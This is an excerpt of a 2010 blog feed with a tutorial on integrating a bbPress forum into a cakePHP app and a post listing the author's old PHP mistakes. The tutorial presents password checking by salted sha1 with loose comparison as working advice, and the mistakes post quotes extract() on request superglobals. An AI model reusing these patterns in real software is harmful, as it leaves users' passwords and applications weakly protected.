&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;     // Lost password&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;     &#39;password-reset.php&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;users/pass&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;     // Login&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;     &#39;bb-login.php&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;users/login&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;     // Logout&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;     &#39;bb-login.php?action=logout&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;users/logout&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;     // Profile editing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;     &#39;edit&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;users/edit/&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$paths&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$nbrPath&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;   );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // If there is a mapping, we return it, otherwise we don&#39;t touch the uri&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   return&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mappedUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$endUri&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; APP_URL&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mappedUrl&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$endUri&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; :&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $uri&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// We filter both bb_uri and bb_get_uri&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add_filter&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bb_uri&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;cake_convertToAppUrl&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;add_filter&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;bb_get_uri&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;cake_convertToAppUrl&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will hook every method that ask for a url and convert the result to return
the corresponding url in your own app.&lt;/p&gt;
&lt;p&gt;Don&#39;t forget to enable this plugin in your bbPress admin panel.&lt;/p&gt;
&lt;p&gt;Of course, feel free to change the destination url to reflect those of your app.&lt;/p&gt;
&lt;h2&gt;Additional information&lt;/h2&gt;
&lt;p&gt;Note that the &lt;code&gt;users/edit/&lt;/code&gt; method takes the bbPress &lt;code&gt;nicename&lt;/code&gt; as argument, so
you should have to convert it before displaying the edit form.&lt;/p&gt;
&lt;p&gt;I also edited my template and added an hidden field in the bbPress login form to
check if the login was coming from the app or the forum and redirect
accordingly.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Integration of a bbPress forum into a cakePHP application (part 2)</title>
    <link href="https://blog.pixelastic.com/2010/02/17/integration-a-bbpress-forum-into-a-cakephp-application-part-2/"/>
    <updated>2010-02-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/17/integration-a-bbpress-forum-into-a-cakephp-application-part-2</id>
    <content type="html">&lt;p&gt;We&#39;ve done enough work on the forum for now. The time has come to edit our cake
files.&lt;/p&gt;
&lt;h2&gt;Creating the cakePHP models&lt;/h2&gt;
&lt;p&gt;We will create two models to help in speaking with the bbPress database.&lt;/p&gt;
&lt;p&gt;Create a bb_usermeta.php model:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; BbUsermeta&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; AppModel&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $useTable&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;bb_usermeta&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $primaryKey&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;umeta_id&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Create a &lt;code&gt;bb_user.php&lt;/code&gt; model:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; BbUser&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt; AppModel&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $primaryKey&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;ID&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $hasMany&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;     &#39;BbUsermeta&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;       &#39;className&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;BbUsermeta&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;       &#39;foreignKey&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;user_id&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;       &#39;dependent&#39;&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;   );&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  //We make sure, before saving, that the nicename is url-friendly&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;  function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; beforeSave&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;user_nicename&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;      $&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;user_nicename&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; Inflector::&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;slug&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;data&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#22D3EE&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;user_nicename&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;So, what was that about?&lt;/p&gt;
&lt;p&gt;We created two models to communicate with bbPress. bbPress stores user-related
information in &lt;code&gt;bb_users&lt;/code&gt; as well as &lt;code&gt;bb_usermeta&lt;/code&gt;. We defined the
&lt;code&gt;$primaryKey&lt;/code&gt;, &lt;code&gt;$useTable&lt;/code&gt; and &lt;code&gt;$foreignKey&lt;/code&gt; of the &lt;code&gt;$hasMany&lt;/code&gt; because the
bbPress tables do not follow the cakePHP convention.&lt;/p&gt;
&lt;p&gt;We also add a nifty &lt;code&gt;beforeSave()&lt;/code&gt; method to &lt;code&gt;BbUser&lt;/code&gt; to make sure its
&lt;code&gt;user_nicename&lt;/code&gt; (used as an url slug) is url-friendly.&lt;/p&gt;
&lt;h2&gt;How to save bbPress users from the cakePHP app&lt;/h2&gt;
&lt;p&gt;Great. Now you can easily add, edit and delete users from bbPress directly from
your app.&lt;/p&gt;
&lt;p&gt;There are some things you should know about before doing that:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;first_name&lt;/code&gt; and &lt;code&gt;last_name&lt;/code&gt; are stored in &lt;code&gt;bb_usermeta&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;the access rights are defined in &lt;code&gt;bb_usermeta&lt;/code&gt; too, using the
&lt;code&gt;bb_capabilities&lt;/code&gt; key&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Now that you know all that, you can easily create a behavior creating a new
bbPress user when creating a new user, deleting that bbPress user when deleting
the main user and updating the bbPress user when updating the main user.&lt;/p&gt;
&lt;p&gt;I myself wrote this behavior, but as it is part of a more general bbPress plugin
it may not work as-is. I&#39;ll try to publish it if anyone is interested.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Integration of a bbPress forum into a cakePHP application (part 1)</title>
    <link href="https://blog.pixelastic.com/2010/02/17/integration-a-bbpress-forum-into-a-cakephp-application-part-1/"/>
    <updated>2010-02-17T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/17/integration-a-bbpress-forum-into-a-cakephp-application-part-1</id>
    <content type="html">&lt;p&gt;Today I had to integrate a forum into an existing cakePHP app. I didn&#39;t want to
code the whole thing from scratch and wanted to take advantage of one of the
great opensource forums out there instead.&lt;/p&gt;
&lt;p&gt;I wanted to keep the forum as a stand-alone part, with its own admin panel, and
not mess with its core files, to allow me the possibility of updating it if
needed. But I didn&#39;t want my user to register twice, for my app and for the
forum, I wanted the whole register/login thing to be as smooth as possible.&lt;/p&gt;
&lt;p&gt;After some trials, I finally choose bbPress, from the makers of WordPress.&lt;/p&gt;
&lt;p&gt;I took me some time, digging into the online documentation (pretty much non-
existent), digging into existing plugins and the source code to finally script
what I needed. I had to code a cake behavior, a cake component, a bbPress
plugin, overwriting some bbPress functions but it finally works.&lt;/p&gt;
&lt;h2&gt;Installing bbPress on a cakePHP app&lt;/h2&gt;
&lt;p&gt;First thing you need to do is installing bbPress. Just drop the files you
downloaded into &lt;code&gt;app/webroot/forum&lt;/code&gt; and follow the installation instruction. Set
the admin login the same as your own admin login in your app. Type anything you
want for the password, we&#39;ll change that later.&lt;/p&gt;
&lt;p&gt;Once this is done, you should have a working forum, and being able to access it
on &lt;code&gt;/forum&lt;/code&gt;. It&#39;s a good start, isn&#39;t it?&lt;/p&gt;
&lt;p&gt;Now, open your favorite mysql editor (Navicat or phpmyadmin) and connect to your
database. Make sure the collation of the &lt;code&gt;bb_ tables&lt;/code&gt; are the same as the
collation of your cake tables. It will allow them to correctly communicate. My
cake tables were set to &lt;code&gt;utf8_unicode_ci&lt;/code&gt; and my bbPress tables were set to
&lt;code&gt;utf8_general_ci&lt;/code&gt;. I had to update all the bbPress tables to make sure no
collation problems arise.&lt;/p&gt;
&lt;h2&gt;Using the same password hashing&lt;/h2&gt;
&lt;p&gt;Now let&#39;s look at our bb_users table. You should have one entry for your admin
account. Go to your own cake &lt;code&gt;users&lt;/code&gt; table, copy your password hash and paste it
in place if the bbPress one. Cake and bbPress do not use the same hashing
algorithm, so we are going to change that.&lt;/p&gt;
&lt;p&gt;Open &lt;code&gt;forum/bb-config.php&lt;/code&gt; and add the following code:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;define&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;CAKE_SALT&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;XXXXX&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;// Check password using sha1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; bb_check_password&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $password&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$hash&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$user_id&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; )&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;  // Does it match ?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; sha1&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;CAKE_SALT&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$password&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$hash&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of course, replace the &lt;code&gt;XXXXX&lt;/code&gt; value of &lt;code&gt;CAKE_SALT&lt;/code&gt; with your own
&lt;code&gt;Security.Salt&lt;/code&gt; value (usually found in &lt;code&gt;app/config/core.php&lt;/code&gt;). Also note that
the default hashing method used by cake is &lt;code&gt;sha1&lt;/code&gt;, but if you use an alternate
&lt;code&gt;md5&lt;/code&gt; or &lt;code&gt;sha256&lt;/code&gt;, you&#39;ll have to update the method above.&lt;/p&gt;
&lt;p&gt;Doing all this, we change the way bbPress checks for a valid password. The
method gets the plain password and the hashed version stored in the database and
compare them. Cake does its comparison using its own internal salt value and
applying &lt;code&gt;sha1()&lt;/code&gt; on it. We just do the same here. That way, we can now login
using the same password.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Reading my own code from 3 years ago</title>
    <link href="https://blog.pixelastic.com/2010/02/15/looking-at-my-own-code-4-years-ago/"/>
    <updated>2010-02-15T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/02/15/looking-at-my-own-code-4-years-ago</id>
    <content type="html">&lt;p&gt;Today I had to update an old site I developped some years ago. I had to move it
from one host to another and make sure all the configuration followed.&lt;/p&gt;
&lt;p&gt;It scares me. What I wrote 3 years ago scares me. My code was... well there was
some huge mistakes, things I would never ever do again. Today, I would severly
frown upon any coder who wrote horribles things like that.&lt;/p&gt;
&lt;p&gt;For the php part, here is a very good list of what NOT to do:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I used shorthand notation for my php tags: &lt;code&gt;&amp;lt;?&lt;/code&gt; instead of &lt;code&gt;&amp;lt;?php&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;My server was set as &lt;code&gt;register_global&lt;/code&gt; off, but I was circumventing it by
doing my own &lt;code&gt;register_global&lt;/code&gt; on:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;extract&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$_SERVER&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;extract&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$_COOKIE&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;extract&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$_GET&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;extract&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$_POST&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;My files were encoded in Latin-1, my database was in &lt;code&gt;latin1_swedish_ci&lt;/code&gt; and
my html head was set to &lt;code&gt;iso-8859-1&lt;/code&gt;. At least, that was consistent.&lt;/li&gt;
&lt;li&gt;I wasn&#39;t EVER testing if my variables were set, so I had notices popping
everywhere. I had the error_reporting set to disable them, hiding the error
instead of writing better code.&lt;/li&gt;
&lt;li&gt;The password of my users were stored UNCRYPTED in the database... And stored
uncrypted in the cookie as well.&lt;/li&gt;
